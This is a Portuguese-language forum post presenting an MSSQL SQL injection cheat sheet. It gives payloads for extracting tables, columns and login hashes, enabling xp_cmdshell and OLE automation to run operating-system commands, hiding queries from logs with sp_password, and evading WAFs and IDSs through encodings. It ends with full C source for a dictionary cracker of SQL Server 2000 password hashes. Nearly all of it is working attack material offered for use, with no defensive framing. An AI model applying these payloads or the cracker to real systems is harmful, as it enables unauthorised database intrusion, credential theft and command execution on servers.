Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Sql injection explicação detalhada Parte 2 - MSSQL -

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Sql injection explicação detalhada Parte 2 - MSSQL -

    Salve Salve galera venho aki trazendo para vocês um Hiper Post sobre Injection SQL ele sera dividido em 3 Partes

    1- MySQL Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    2-MSSQL
    3-Oracle

    MSSQL

    Default Databases

    Código:
    pubs	Not available on MSSQL 2005
    model	Available in all versions
    msdb	Available in all versions
    tempdb	Available in all versions
    northwind	Available in all versions
    information_schema	Availalble from MSSQL 2000 and higher
    Comente Consulta

    O seguinte pode ser usado para comentar o resto da consulta após a injecção:
    Código:
    /*	C-style comment
    --	SQL comment
    ;%00	Nullbyte
    Exemplo:
    Código:
    SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
    SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
    Testing Version
    Código:
    @@VERSION
    Exemplo:
    Código:
    True se a versão do MSSQL for 2008.
    SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
    Nota:
    Código:
    Saída também conterá a versão do sistema operacional Windows.
    Database Credentials

    Código:
    Database..Table	master..syslogins, master..sysprocesses
    Columns	name, loginame
    Current User	user, system_user, suser_sname(), is_srvrolemember('sysadmin')
    Database Credentials	SELECT user, password FROM master.dbo.sysxlogins
    Exemplo:

    Retorna usuário atual:
    Código:
    SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
    Verifique se o usuário é admin:
    Código:
    SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
    Database Names

    Código:
    Database.Table	master..sysdatabases
    Column	name
    Current DB	DB_NAME(i)
    Exemplos:
    Código:
    SELECT DB_NAME(5);
    SELECT name FROM master..sysdatabases;
    Server Hostname

    Código:
    @@SERVERNAME
    SERVERPROPERTY()
    Exemplos:
    Código:
    SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
    Nota:
    Código:
    SERVERPROPERTY () está disponível a partir de MSSQL 2005 e superior.

    Tables and Columns

    Determining number of columns

    Código:
    ORDER BY n+1;
    Exemplo:
    Dada a Consulta:
    Código:
    SELECT username, password, permission FROM Users WHERE id = '1';
    Código:
    1' ORDER BY 1--	True
    1' ORDER BY 2--	True
    1' ORDER BY 3--	True
    1' ORDER BY 4--	False - Query is only using 3 columns
    -1' UNION SELECT 1,2,3--	True
    Nota:
    Código:
    Mantenha incrementando o número até obter uma resposta falsa.
    A seguir pode ser usado para obter as colunas na consulta atual.

    Código:
    GROUP BY / HAVING
    Exemplo:
    Dada a Consulta:
    Código:
    SELECT username, password, permission FROM Users WHERE id = '1';
    Código:
    1' HAVING 1=1--	Coluna 'Users.username' é inválida na lista de seleção porque não está contida em uma função agregada nem na cláusula GROUP BY.
    1' GROUP BY username HAVING 1=1--	Coluna 'Users.password' é inválida na lista de seleção porque não está contida em uma função agregada nem na cláusula GROUP BY.
    1' GROUP BY username, password HAVING 1=1--	Coluna 'Users.permission' é inválida na lista de seleção porque não está contida em uma função agregada nem na cláusula GROUP BY.
    1' GROUP BY username, password, permission HAVING 1=1--	Sem erro
    Nota:
    Código:
    Nenhum erro será devolvido assim que todas as colunas foram incluídos.
    Recuperando Tabelas
    Código:
    Union
    
    
    Código:
    UNION SELECT name FROM master..sysobjects WHERE xtype='U'
    Blind
    Código:
    AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
    Error
    Código:
    AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
    AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
    Nota:
    Código:
    Xtype = 'U' é para tabelas definidas pelo usuário. Você pode usar o 'V' de pontos de vista.
    Recuperando Colunas
    Podemos recuperar as colunas a partir de dois diferentes bancos de dados, information_schema.columns ou mestres .. syscolumns.
    Código:
    Union
    
    
    Código:
    UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
    Blind
    Código:
    AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
    Error
    Código:
    AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
    AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
    Recuperando várias tabelas / colunas de uma só vez

    As três perguntas seguintes irá criar uma tabela temporária / coluna e inserir todas as tabelas definidas pelo usuário para ele. Será, então, despejar o conteúdo da tabela e terminar por excluir a tabela.

    Criar Temp Table / Column e inserir dados:
    Código:
    AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
    Dump de Conteúdo:
    Código:
    AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
    Delete Table:
    Código:
    AND 1=0; DROP TABLE TMP_DB;
    Um método mais fácil é disponível a partir do MSSQL 2005 e superior. O caminho da função XML () funciona como um concatenador, permitindo a recuperação de todas as tabelas com uma consulta.

    Código:
    SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')	SQL Server 2005+
    Nota:

    Você pode codificar sua consulta em hexadecimal para "ofuscar" o seu ataque.
    Código:
    ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
    Evitar o uso das cotações
    Código:
    SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
    concatenação de string

    Código:
    SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
    SELECT 'a'+'d'+'mi'+'n';
    Declarações condicionais
    Código:
    IF
    CASE
    Exemplos:
    Código:
    IF 1=1 SELECT 'true' ELSE SELECT 'false';
    SELECT CASE WHEN 1=1 THEN true ELSE false END;
    Nota:
    Código:
    IF não pode ser usado dentro de uma instrução SELECT.
    Timing
    Código:
    WAITFOR DELAY 'time_to_pass';
    WAITFOR TIME 'time_to_execute';
    Exemplo:
    Código:
    IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
    Ataques OPENROWSET
    Código:
    SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
    Execução de Sistema de Comando

    Incluir um procedimento armazenado estendido chamado xp_cmdshell que pode ser usado para executar comandos do sistema operacional.
    Código:
    EXEC master.dbo.xp_cmdshell 'cmd';
    A partir da versão MSSQL 2005 e superior, xp_cmdshell está desabilitado por padrão, mas pode ser ativada com as seguintes perguntas:

    Código:
    EXEC sp_configure 'show advanced options', 1
    EXEC sp_configure reconfigure
    EXEC sp_configure 'xp_cmdshell', 1
    EXEC sp_configure reconfigure
    Alternativamente, você pode criar seu próprio procedimento para alcançar os mesmos resultados:

    Código:
    DECLARE @execmd INT
    EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
    EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
    Se a versão do SQL é maior do que 2000, você terá que executar consultas adicionais para a execução do comando anterior:
    Código:
    EXEC sp_configure 'show advanced options', 1
    EXEC sp_configure reconfigure
    EXEC sp_configure 'OLE Automation Procedures', 1
    EXEC sp_configure reconfigure
    Exemplo:

    Verifica se xp_cmdshell é carregado, se for, ele verifica se ele está ativo e então começa a executar o comando "dir" e insere os resultados em TMP_DB:

    Código:
    ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
    Dump de Conteúdo:
    Código:
    ' UNION SELECT tbl FROM TMP_DB--
    Excluir da tabela:

    Código:
    ' DROP TABLE TMP_DB--
    SP_PASSWORD (Hiding Query)

    Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
    Código:
    SP_PASSWORD
    Exemplo:
    ' AND 1=1--sp_password

    Output:
    Código:
    -- 'sp_password' was found in the text of this event.
    -- The text has been replaced with this comment for security reasons.
    Stacked Consultas

    MSSQL suporta Consultas stacked.

    Exemplo:
    Código:
    ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
    Fuzzing e Obfuscation

    Personagens intermediários admitidos


    Os caracteres a seguir podem ser usados ??como espaços em branco.
    Código:
    01	Start of Heading
    02	Start of Text
    03	End of Text
    04	End of Transmission
    05	Enquiry
    06	Acknowledge
    07	Bell
    08	Backspace
    09	Horizontal Tab
    0A	New Line
    0B	Vertical Tab
    0C	New Page
    0D	Carriage Return
    0E	Shift Out
    0F	Shift In
    10	Data Link Escape
    11	Device Control 1
    12	Device Control 2
    13	Device Control 3
    14	Device Control 4
    15	Negative Acknowledge
    16	Synchronous Idle
    17	End of Transmission Block
    18	Cancel
    19	End of Medium
    1A	Substitute
    1B	Escape
    1C	File Separator
    1D	Group Separator
    1E	Record Separator
    1F	Unit Separator
    20	Space
    25	%
    Exemplos:
    Código:
    S%E%L%E%C%T%01column[B]%02FROM%03table;
    A%%ND 1=%%%%%%%%1;
    Nota:
    Código:
    Os sinais percentuais entre palavras-chave só é possível em ASP aplicações web (x).
    Os seguintes caracteres podem também ser usados ??para evitar o uso de espaços.
    Código:
    22	"
    28	(
    29	)
    5B	[
    5D	]

    Exemplos:
    Código:
    UNION(SELECT(column)FROM[B](table));
    SELECT"table_name"FROM[B][information_schema].[tables[B]];

    Personagens intermediários admitidos depois dde AND/OR

    Código:
    01 - 20	Range
    21	!
    2B	+
    2D	-
    2E	.
    5C	\
    7E	~
    Exemplo:
    Código:
    SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
    Nota:
    Código:
    A barra invertida não parece trabalhar com MSSQL 2000.
    Encodings

    Codificação a injecção, por vezes, pode ser útil para WAF / IDS evasão.

    Código:
    URL Encoding	SELECT %74able_%6eame FROM information_schema.tables;
    Double URL Encoding	SELECT %2574able_%256eame FROM information_schema.tables;
    Unicode Encoding	SELECT %u0074able_%u6eame FROM information_schema.tables;
    Invalid Hex Encoding (ASP)	SELECT %tab%le_%na%me FROM information_schema.tables;
    Hex Encoding	' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
    HTML Entities (Needs to be verified)	%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B
    Encodings

    As senhas começam com 0x0100, o primeiro para os bytes seguintes 0x são uma constante, nos próximos oito bytes são o sal de hash e os restantes 80 bytes são dois hashes, os primeiros 40 bytes são um hash case-sensitive da senha, enquanto o segundo 40 bytes são a versão maiúscula.
    Código:
    0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
    Password Cracking

    Um módulo Metasploit para JTR pode ser encontrada Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....

    Password Cracking

    Esta ferramenta é projetada para quebrar senhas do Microsoft SQL Server 2000.

    Código:
    /////////////////////////////////////////////////////////////////////////////////
    //
    //           SQLCrackCl
    //
    //           This will perform a dictionary attack against the
    //           upper-cased hash for a password. Once this
    //           has been discovered try all case variant to work
    //           out the case sensitive password.
    //
    //           This code was written by David Litchfield to
    //           demonstrate how Microsoft SQL Server 2000
    //           passwords can be attacked. This can be
    //           optimized considerably by not using the CryptoAPI.
    //
    //           (Compile with VC++ and link with advapi32.lib
    //           Ensure the Platform SDK has been installed, too!)
    //
    //////////////////////////////////////////////////////////////////////////////////
    #include <stdio.h>
    #include <windows.h>
    #include <wincrypt.h>
    FILE *fd=NULL;
    char *lerr = "\nLength Error!\n";
    int wd=0;
    int OpenPasswordFile(char *pwdfile);
    int CrackPassword(char *hash);
    int main(int argc, char *argv[])
    {
    	         int err = 0;
    	    if(argc !=3)
    	              {
    	                        printf("\n\n*** SQLCrack *** \n\n");
    	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
    	                        printf("David Litchfield (david@ngssoftware.com)\n");
    	                        printf("24th June 2002\n");
    	                        return 0;
    	              }
    	    err = OpenPasswordFile(argv[2]);
    	    if(err !=0)
    	     {
    	       return printf("\nThere was an error opening the password file %s\n",argv[2]);
    	     }
    	    err = CrackPassword(argv[1]);
    	    fclose(fd);
    	    printf("\n\n%d",wd);
    	    return 0;
    }
    int OpenPasswordFile(char *pwdfile)
    {
    	    fd = fopen(pwdfile,"r");
    	    if(fd)
    	              return 0;
    	    else
    	              return 1;
    }
    int CrackPassword(char *hash)
    {
    	    char phash[100]="";
    	    char pheader[8]="";
    	    char pkey[12]="";
    	    char pnorm[44]="";
    	    char pucase[44]="";
    	    char pucfirst[8]="";
    	    char wttf[44]="";
    	    char uwttf[100]="";
    	    char *wp=NULL;
    	    char *ptr=NULL;
    	    int cnt = 0;
    	    int count = 0;
    	    unsigned int key=0;
    	    unsigned int t=0;
    	    unsigned int address = 0;
    	    unsigned char cmp=0;
    	    unsigned char x=0;
    	    HCRYPTPROV hProv=0;
    	    HCRYPTHASH hHash;
    DWORD hl=100;
    unsigned char szhash[100]="";
    int len=0;
    if(strlen(hash) !=94)
    	      {
    	              return printf("\nThe password hash is too short!\n");
    	      }
    if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
    	      {
    	              hash = hash + 2;
    	              strncpy(pheader,hash,4);
    	              printf("\nHeader\t\t: %s",pheader);
    	              if(strlen(pheader)!=4)
    	                        return printf("%s",lerr);
    	              hash = hash + 4;
    	              strncpy(pkey,hash,8);
    	              printf("\nRand key\t: %s",pkey);
    	              if(strlen(pkey)!=8)
    	                        return printf("%s",lerr);
    	              hash = hash + 8;
    	              strncpy(pnorm,hash,40);
    	              printf("\nNormal\t\t: %s",pnorm);
    	              if(strlen(pnorm)!=40)
    	                        return printf("%s",lerr);
    	              hash = hash + 40;
    	              strncpy(pucase,hash,40);
    	              printf("\nUpper Case\t: %s",pucase);
    	              if(strlen(pucase)!=40)
    	                        return printf("%s",lerr);
    	              strncpy(pucfirst,pucase,2);
    	              sscanf(pucfirst,"%x",&cmp);
    	      }
    else
    	      {
    	              return printf("The password hash has an invalid format!\n");
    	      }
    printf("\n\n       Trying...\n");
    if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
      {
    	      if(GetLastError()==NTE_BAD_KEYSET)
    	              {
    	                        // KeySet does not exist. So create a new keyset
    	                        if(!CryptAcquireContext(&hProv,
    	                                             NULL,
    	                                             NULL,
    	                                             PROV_RSA_FULL,
    	                                             CRYPT_NEWKEYSET ))
    	                           {
    	                                    printf("FAILLLLLLL!!!");
    	                                    return FALSE;
    	                           }
    	       }
    }
    while(1)
    	     {
    	       // get a word to try from the file
    	       ZeroMemory(wttf,44);
    	       if(!fgets(wttf,40,fd))
    	          return printf("\nEnd of password file. Didn't find the password.\n");
    	       wd++;
    	       len = strlen(wttf);
    	       wttf[len-1]=0x00;
    	       ZeroMemory(uwttf,84);
    	       // Convert the word to UNICODE
    	       while(count < len)
    	                 {
    	                           uwttf[cnt]=wttf[count];
    	                           cnt++;
    	                           uwttf[cnt]=0x00;
    	                           count++;
    	                           cnt++;
    	                 }
    	       len --;
    	       wp = &uwttf;
    	       sscanf(pkey,"%x",&key);
    	       cnt = cnt - 2;
    	       // Append the random stuff to the end of
    	       // the uppercase unicode password
    	       t = key >> 24;
    	       x = (unsigned char) t;
    	       uwttf[cnt]=x;
    	       cnt++;
    	       t = key << 8;
    	       t = t >> 24;
    	     x = (unsigned char) t;
    	     uwttf[cnt]=x;
    	     cnt++;
    	     t = key << 16;
    	     t = t >> 24;
    	     x = (unsigned char) t;
    	     uwttf[cnt]=x;
    	     cnt++;
    	     t = key << 24;
    	     t = t >> 24;
    	     x = (unsigned char) t;
    	     uwttf[cnt]=x;
    	     cnt++;
    // Create the hash
    if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
    	     {
    	               printf("Error %x during CryptCreatHash!\n", GetLastError());
    	               return 0;
    	     }
    if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
    	     {
    	               printf("Error %x during CryptHashData!\n", GetLastError());
    	               return FALSE;
    	     }
    CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
    // Test the first byte only. Much quicker.
    if(szhash[0] == cmp)
    	     {
    	               // If first byte matches try the rest
    	               ptr = pucase;
    	               cnt = 1;
    	               while(cnt < 20)
    	               {
    	                           ptr = ptr + 2;
    	                           strncpy(pucfirst,ptr,2);
    	                           sscanf(pucfirst,"%x",&cmp);
    	                           if(szhash[cnt]==cmp)
    	                                    cnt ++;
    	                           else
    	                           {
    	                                    break;
    	                           }
    	               }
    	               if(cnt == 20)
    	               {
    	                    // We've found the password
    	                    printf("\nA MATCH!!! Password is %s\n",wttf);
    	                    return 0;
    	                 }
    	         }
    	         count = 0;
    	         cnt=0;
    	       }
      return 0;
    }
X
Working...
X